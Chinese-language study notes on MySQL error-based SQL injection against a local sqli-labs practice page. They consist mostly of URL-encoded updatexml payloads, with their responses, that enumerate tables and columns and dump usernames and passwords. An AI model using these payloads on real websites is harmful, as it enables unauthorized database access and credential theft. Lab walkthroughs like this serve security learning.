1.什么是报错注入
mysql_error
2.我们在什么情况下使用报错注入
在页面返回连错错误信息的时候
3.函数
updatexml? //5.1版本以上使用
extrachvalue
floor?? //5.0版本之前也可以使用
请求：http://localhost/Less-1/index.php?id=1%27? //? %27是英文单引号的url编码，是被浏览器自动编码的 %20 是空格
返回：1' LIMIT 0,1
http://localhost/Less-1/index.php?id=1%27%20and%201=1--%2011?? 条件成立 有数据返回
http://localhost/Less-1/index.php?id=1%27%20and%201=2--%2011?? 条件不成立 无数据返回
请求：http://localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,(select%20user()),1)--%2011
返回：XPATH syntax error: '@localhost'???? 完整的 应该是 xxx@localhost
concat 连接
请求：http://localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,concat(0x3a,(select%20user()),1),0x3a)--%2011
返回：XPATH syntax error: ':root@localhost1'
注入表：
请求：http://localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,concat(0x3a,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27),1),0x3a)--%2011?? 报错注入是不能找过一行的
返回： Subquery returns more than 1 row
?? ?limit
?? ??? ?1请求：localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,concat(0x3a,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%201,1),1),0x3a)--%2011
?? ??? ?返回： XPATH syntax error: ':referers1'
?? ?group_concat
?? ??? ?请求：http://localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,concat(0x3a,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20),1),0x3a)--%2011
?? ??? ?返回：:emails,referers,uagents,users
?? ?updatexml 只支持32位以前的结果进行输出
注入字段：
请求：http://localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,concat(0x3a,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20),3),0x3a)%20--%2011
返回：XPATH syntax error: ':user_id,first_name,last_name,us'? 串到dvwa的库
请求：http://localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,concat(0x3a,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_schema=%20%27security%27%20),3),0x3a)%20--%2011
返回： XPATH syntax error: ':id,username,password3'
注入内容：
请求：http://localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,concat(0x3a,(select%20concat(username,0x3a,password)%20from%20users%20limit%201),3),0x3a)%20--%2011
请求：http://localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,concat(0x3a,(select%20concat(username,0x3a,password)%20from%20users%20limit%201),3),0x3a)%20--%2011
返回： XPATH syntax error: ':Dumb:Dumb3'
请求：http://localhost/Less-1/index.php?id=1%27%20and%201=updatexml(1,concat(0x3a,(select%20group_concat(username,0x3a,password)%20from%20users),3),0x3a)%20--%2011
返回：XPATH syntax error: ':Dumb:Dumb,Angelina:I-kill-you,D'
md5
使用：
left
right
